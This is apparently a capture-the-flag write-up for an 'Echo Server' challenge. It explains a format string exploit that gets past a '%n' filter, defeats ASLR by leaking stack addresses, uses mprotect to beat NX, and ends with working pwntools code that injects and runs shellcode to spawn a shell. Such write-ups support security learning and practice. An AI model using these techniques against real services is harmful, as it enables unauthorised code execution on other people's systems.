# Echo ServerOpen the binary in ghidra. The executable is basically:```while (true) {    retrieve 12 characters    strip out all "%n"    print them}```
By trying inputs like `%x` etc it is clear that format string attacks is areasonable approach. Let us attempt to write shellcode somewhere and execute it.
First of all the alarm can be quite annoying. We can disable this in gdb via`handle SIGALRM ignore`.
We can attempt to use the `%n` format to write bytes somewhere. However we notethat the program removes `%n` if it is present in the input. Fortunately we canbypass this by using the parameter field in the form of `%x$n` where `x` is theparameter number (in this case, location of the stack).
Another problem is that 12 characters is rather short to write shellcode.I originally thought that you can only make this shorter, since if you write`AA...AA%x$n` the number of characters before the format string is < 12 andhence writing it to the location of 12 will only reduce the number. After somethought, however, you need not write the number to a location that is alignedwith the word size.
Basically, the location of the length of the input is at `stack + 1054`. If wewrite at that location, the number written will be < 12:```before | 00 00 00 0c | (for 12)after  |[00 00 00 04]| (for 4)```
However, we can write at `stack + 1053`, and we can get some number like`4 x ff + 12` instead:```before     | 00 00 00  0c | (for 12)after  [00 | 00 00 04] 0c | (for 4)```
So this is what we are doing:```pythondef send(s):    r.recvline()    r.sendline(s)    return r.recvline()
# leak stack addrs = int(send("%148$x").decode().strip(), 16)esp = s - 682
# leak return addressret = int(send("%264$x").decode().strip(), 16) - 4
# expand buffersend(b"abcd" + p32(esp + 1053) + b"%6$n")
# fix corrupted return addresswrite(esp + 4 * 264, ret + 4)```
We are leaking the stack address since the binary is compiled with ASLR. Thelocation of where the payload is targeting itself is kind of guesswork (justfind something in the stack that is near the current esp, and then make thenecessary adjustments).
The leaking of return address is actually not necessary since it is a fixedoffset from the esp but here I am doing it anyways.
Then, we do the buffer expansion by writing to `esp + 1053`. Afterwardswe need to write back to `ret + 4` since writing to `esp + 1053` (which is notword aligned) corrupts this address.
Another problem is that this binary is compiled with NX, which means thatwritable regions are not executable. Fortunately we can use `mprotect` tomake it executable. Also this `mprotect` function is somehow statically compiledso we're super lucky here.
```pythondef write(loc, what):    while what > 0:        next_byte = what & 0xff        # print(hex(loc), hex(next_byte))
        if next_byte < 4:            send(b"A" * next_byte + b"%7$n" + b"A" * (4 - next_byte) + p32(loc) + b"\n")        else:            send(p32(loc) + b"A" * (next_byte - 4) + b"%5$n\n")
        loc += 1        what >>= 8
# call mprotect on return, then go back to mainwrite(ret, context.binary.symbols['mprotect'])write(ret + 4, context.binary.symbols['main'])write(ret + 8, 0x8048000)write(ret + 12, 0x1000)write(ret + 16, 7)```
Afterwards, we modify the stack so that1. Some value becomes 1 (because the loop is actually `while (some value == 0)`)   and we can exit from the loop
   ```python   write(esp + 0xd4c4 - 0xd0b0, 1)   ```
2. It jumps to `mprotect` (see above) with the parameters `0x8048000` (start of   page to write), `0x1000` (length of memory to make executable), `7` (for rwx)3. It jumps to `main` afterwards (see above)
Now, we are back in `main`, and we can write shellcode to `0x8048000` andexecute it. One problem is that we cannot write to addresses with `10` with itas it corresponds to `\n`. However, we can write to `0x8048020` instead.
The first line below `esp += 16` is just trial and error really.```pythonesp += 16
# leak return addressret = u32(send("%264$x")[:4])print(ret)
# expand buffersend(b"abcd" + p32(esp + 1053) + b"%6$n")
# fix corrupted return addresswrite(esp + 4 * 264, ret + 4)
def str_to_int(s):    n = 0    for c in s:        n *= 256        n += c    return n
# write shellcodewrite(0x8048020, str_to_int(reversed(asm(shellcraft.sh()))))# jump to shellcodewrite(ret, 0x8048020)
# get outwrite(esp + 0xd4c4 - 0xd0b0, 1)
r.interactive()```
Then we get shell.